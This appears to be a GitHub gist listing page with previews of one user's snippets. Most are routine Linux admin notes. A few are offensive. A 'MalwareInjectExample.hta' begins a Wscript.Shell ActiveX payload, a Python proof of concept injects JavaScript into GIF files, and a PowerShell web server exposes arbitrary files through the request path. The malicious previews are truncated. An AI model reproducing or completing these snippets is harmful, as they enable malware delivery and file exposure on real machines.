Skip to content

Instantly share code, notes, and snippets.

View cmbaughman's full-sized avatar
🧐
I may be slow to respond.

Chris Baughman cmbaughman

🧐
I may be slow to respond.
View GitHub Profile
@cmbaughman
cmbaughman / static-visual.sh
Created August 5, 2020 18:02
Generate White Noise
#!/bin/bash
while true;
do
printf "$(awk -v c="$(tput cols)" -v s="$RANDOM" 'BEGIN{srand(s);while(--c>=0){printf("\xe2\x96\\%s",sprintf("%o",150+int(10*rand())));}}')";
done
@cmbaughman
cmbaughman / simple_server_setup_ubuntu.md
Last active August 4, 2020 18:47
Initial Base Ubuntu Server Setup

Simple Ubuntu Server Setup


Create a user

NOTE: You must use public key based authentication.

  1. Create user adduser testuser
  2. Grant sudo usermod -aG sudo testuser
  3. ufw enable/disable
@cmbaughman
cmbaughman / install_java_debian.md
Created May 14, 2020 21:57
Install Oracle JDK on Debian Flavors of Linux

Installing Java on Debian flavors (including Ubuntu) of Linux

  1. Go here: Oracle Java JDK Downloads and download the file called: jdk-11.0.6_linux-x64_bin.deb preferably into a directory called Downloads in your home directory.
  2. Open a terminal
  3. Type: cd ~/Downloads to change into your downloads directory
  4. Run the command: sudo apt install jdk-11.0.6_linux-x64_bin.deb
  5. After the install is finished, run the command: update-alternatives --config java
  6. Select the version of java by typing the number beside the one that looks like /usr/lib/jvm/java-11-oracle/bin/java.
  7. Restart
@cmbaughman
cmbaughman / ssh-password.md
Created April 27, 2020 20:39
SSH Passwords

How to set up passwordless ssh,scp, and rsync

Setup

  1. Install the application sshpass:
sudo apt install sshpass
  1. Make sure to set in your ~/.ssh/config file the following options to prevent ssh from using your pubkey:
@cmbaughman
cmbaughman / cleanup.sh
Last active May 11, 2020 21:32
Recover Free Space in Linux
sudo apt autoremove
sudo apt clean
sudo apt-get autoclean
sudo journalctl --vacuum-time=3d
rm -rf ~/.cache/thumbnails/*
set -eu
snap list --all | awk '/disabled/{print $1, $3}' |
while read snapname revision; do
snap remove "$snapname" --revision="$revision"
@cmbaughman
cmbaughman / getbadguys.sh
Created February 10, 2020 23:49 — forked from JeremyMorgan/getbadguys.sh
Get a list of IP addresses trying to attack your CentOS server
#/usr/bin/bash
# strings to look for in our file
# Note: you could just parse the whole file. But if you put in a bad password your IP
# could end up on the bad guy list
declare -a badstrings=("Failed password for invalid user"
"input_userauth_request: invalid user"
"pam_unix(sshd:auth): check pass; user unknown"
"input_userauth_request: invalid user"
"does not map back to the address"
"pam_unix(sshd:auth): authentication failure"
@cmbaughman
cmbaughman / dirtywebserver.ps1
Created June 25, 2019 00:47 — forked from obscuresec/dirtywebserver.ps1
Dirty PowerShell Webserver
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8000/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
$Buf = [Text.Encoding]::UTF8.GetBytes((GC (Join-Path $Pwd ($HC.Request).RawUrl)))
$HRes.ContentLength64 = $Buf.Length
$HRes.OutputStream.Write($Buf,0,$Buf.Length)
@cmbaughman
cmbaughman / MalwareInjectExample.hta
Created June 13, 2019 00:01
Malware by HTA (MSHTML)
<HTML>
<HEAD>
<script>
try {
a=new ActiveXObject('Wscript.Shell');
@cmbaughman
cmbaughman / GifInject.py
Created May 21, 2019 23:20
Inject JavaScript into a GIF
#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a GIF. ====================================================#
#======= or it creates a JavaScript Payload as a GIF. ====================================================#
#======= The resulting GIF must be a valid (not corrupted) GIF. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS IS NOT PEP3 FORMATTED
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
@cmbaughman
cmbaughman / getgeolocation.sh
Created May 15, 2019 11:23
Shell script to get location of a server (requires curl and jq)
$ curl -s https://ipvigilante.com/$(curl -s https://ipinfo.io/ip) | jq '.data.latitude, .data.longitude, .data.city_name, .data.country_name'